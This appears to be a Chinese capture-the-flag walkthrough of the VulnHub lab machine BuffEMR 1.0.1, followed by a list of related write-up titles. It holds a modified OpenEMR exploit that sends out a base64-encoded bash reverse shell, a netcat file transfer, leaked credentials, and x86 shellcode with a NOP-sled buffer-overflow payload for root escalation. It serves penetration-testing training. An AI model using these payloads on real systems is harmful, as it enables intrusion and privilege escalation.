准备:

攻击机:虚拟机kali、本机win10。

靶机:BUFFEMR: 1.0.1,下载地址:https://download.vulnhub.com/buffemr/BuffEMR-v1.0.1.ova,下载后直接vbox打开即可。

知识点:openemr框架漏洞、源码敏感信息泄露、缓冲区溢出漏洞提权、gdb调试的使用。

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 172.20.10.0/24,获得靶机地址:172.20.10.5。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.20.10.5,显示开放了21、22、80端口,开启了ftp服务、ssh服务、http服务。

FTP服务收集源码信息:

匿名登录ftp服务发现存在一个share文件夹,文件夹中包含了openemr文件家,openemr文件下是项目的源码信息。

将整个项目下载下来,命令:wget -r -np -nH ftp://172.20.10.5/share/openemr/。

在源码中查找信息,经过一番查找之后在tests文件夹的test.accounts文件中获得一个测试账户信息:admin/Monster123。

WEB服务:

访问80服务显示是一个默认页面,没什么信息,尝试访问下/openemr目录,命令:http://172.20.10.5/openemr,成功进入到登录页面。

使用获得账户信息:admin/Monster123进行登录,成功登录到系统。

使用searchsploit搜索下openemr框架的漏洞信息,发现openemr框架的漏洞基本和框架的版本信息有关,那就在web界面找下框架的版本信息,发现是:v5.0.1 (3)。

那就使用searchsploit搜索下openemr框架v5.0.1 (3)的漏洞信息,发现以下漏洞。

漏洞获取shell:

利用php/webapps/45161.py脚本获取shell权限,但是此脚本存在一点问题需要进行修改,修改前后如下

#下面是修改前的
_cmd = "|| echo " + base64.b64encode(args.cmd) + "|base64 -d|bash"
#下面是修改后的
_cmd = "|| echo " + 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTAuNy82Njg4IDA+JjE=' + "|base64 -d|bash"

中间的加密的字符是自己对反弹shell的语句进行的base64.b64encode()加密,加密脚本如下

import base64

str = 'bash -i >& /dev/tcp/172.20.10.7/6688 0>&1'
mystr = bytes(str,encoding="utf-8")
print(base64.b64encode(mystr))

执行45161.py脚本成功获取到shell权限,命令:python 45161.py http://172.20.10.5/openemr -u admin -p Monster123 -c 'bash -i >& /dev/tcp/172.20.10.7/6688 0>&1',这里后面的命令是不起作用的,因为在代码里写死了。或者将语句修改将加密后的bytes转换成字符串放到语句中,这样的话-c的命令就可以起作用。

提权-buffemr权限:

在var目录下发现一个user.zip文件,将该文件下载下来:

#kali
nc -nlvp 8888 > user.zip #靶机shell
nc 172.20.10.7 8888 < user.zip

但是在解压user.zip文件的时需要密码,尝试使用john、fcrackzip进行爆破,但是均失败,后来在ftp服务中发现的openemr里发现了一组信息,该信息在openemr\sql目录下的keys.sql文件中,信息为:INSERT into ENCKEY (id, name, enckey) VALUES (1, "pdfkey", "c2FuM25jcnlwdDNkCg==");

尝试使用获得c2FuM25jcnlwdDNkCg==进行解密,解密成功,获得user.lst文件,文件信息是一组账户信息:buffemr/Iamgr00t。

使用获得账户信息:buffemr/Iamgr00t切换到buffemr账户权限,但是显示:must be run from a terminal,那我们就直接使用ssh连接,命令:ssh buffemr@172.20.10.5,成功获得buffemr账户权限。

获得buffemr权限后在/home/buffemr目录下发现user_flag.txt文件,读取该文件成功获取到flag值。

提权-root权限-缓冲区溢出提权:

通过:find / -perm -4000 -type f 2>/dev/null,来查找可疑文件,发现dontexecute文件。

查看dontexecute文件,发现其存在一个未进行限制的strcpy函数,那么这可能就存在内存溢出漏洞。

我们先查看下ASLR(地址随机化,一种缓冲区溢出的安全保护技术)是否被禁止,命令:cat /proc/sys/kernel/randomize_va_space,发现已被禁止。

使用gdb进行调试程序,命令:gdb -q dontexecute。

然后用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量,命令:/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000。

将生成的字符串用命令 r 在 gdb 中运行,如下,程序报错,显示在这个地址出现错误:0x31724130。

计算下此地址:0x31724130的偏移量,命令:./pattern_offset.rb -q 0x31724130,得到其偏移量为512。

在网上找了一个shell:\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh,共53个字节,因此需要从512-53=459的地方开始执行我们的命令,因此payload:$(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"')。

#shell
\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
#payload
$(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"')

退出gdb模式,使用dontexecute文件来执行我们的payload,命令:./dontexecute payload,成功获得root权限。

获得root权限后在/root目录下发现Root_flag.txt文件,读取该文件成功获得flag值。

vulnhub靶场之BUFFEMR: 1.0.1的更多相关文章

  1. vulnhub靶场之JANGOW: 1.0.1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:JANGOW: 1.0.1,地址我这里设置的桥接,,下载地址:https://download.vulnhub.com/jangow/jango ...

  2. 【Vulnhub靶场】JANGOW: 1.0.1

    时隔这么久,终于开始做题了 环境准备 下载靶机,导入到virtualBox里面,这应该不用教了吧 开机可以看到,他已经给出了靶机的IP地址,就不用我们自己去探测了 攻击机IP地址为:192.168.2 ...

  3. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  4. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  5. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  6. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  7. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  8. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  9. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

  10. vulnhub靶场之DRIPPING BLUES: 1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhu ...

随机推荐

  1. VS Code For Web 深入浅出 -- 进程间通信篇

    在上一篇中,我们一起分析了 VS Code 整体的代码架构,了解了 VS Code 是由前后端分离的方式开发的.且无论前端是基于 electron 还是 web,后端是本地还是云端,其调用方式并无不同 ...

  2. 齐博x1 APP要实现直播的关键两步

    大家务必要注意,缺少这两步,你的APP将不能实现直播, 也即点击直播按钮无法启动直播推流

  3. WPF 鼠标移动到图片变大,移开还原,单击触发事件效果

    <Grid>         <Canvas x:Name="LayoutRoot">             <Image Cursor=" ...

  4. 1.WEB应用模式

    1. Web应用模式 在开发Web应用中,有两种应用模式: 前后端不分离[客户端看到的内容和所有界面效果都是由服务端提供出来的.] 前后端分离[把前端的界面效果(html,css,js分离到另一个服务 ...

  5. Mysql入门练习题

    1.在students表中,查询年龄大于25岁,且为男性的同学的名字和年龄 mysql> select name,age from students where age>25 and ge ...

  6. 如何解读Linux Kernel OOPS信息

    OOPS信息解读 root@firefly:~/mnt/module# insmod oops_module.ko [ 867.140514] Unable to handle kernel NULL ...

  7. springboot如何处理矩阵参数类型的url

    矩阵参数类型的url如何处理 首先要开启这个功能 在webconfig类中创建Webconfigurer类 并且设置 urlPathHelper类中的removeSemicolonContent 为f ...

  8. loguru库使用

    参考: https://github.com/Delgan/loguru https://loguru.readthedocs.io/en/stable/overview.html https://b ...

  9. Go语言核心36讲19

    你好,我是郝林,今天我们继续分享go语句执行规则的内容. 在上一篇文章中,我们讲到了goroutine在操作系统的并发编程体系,以及在Go语言并发编程模型中的地位和作用等一系列内容,今天我们继续来聊一 ...

  10. Python调用golang

    有些时候因为效率问题部分代码会 使用Python调用go的编译生成动态链接库go 代码示例//add.gopackage main import "C" //export Addf ...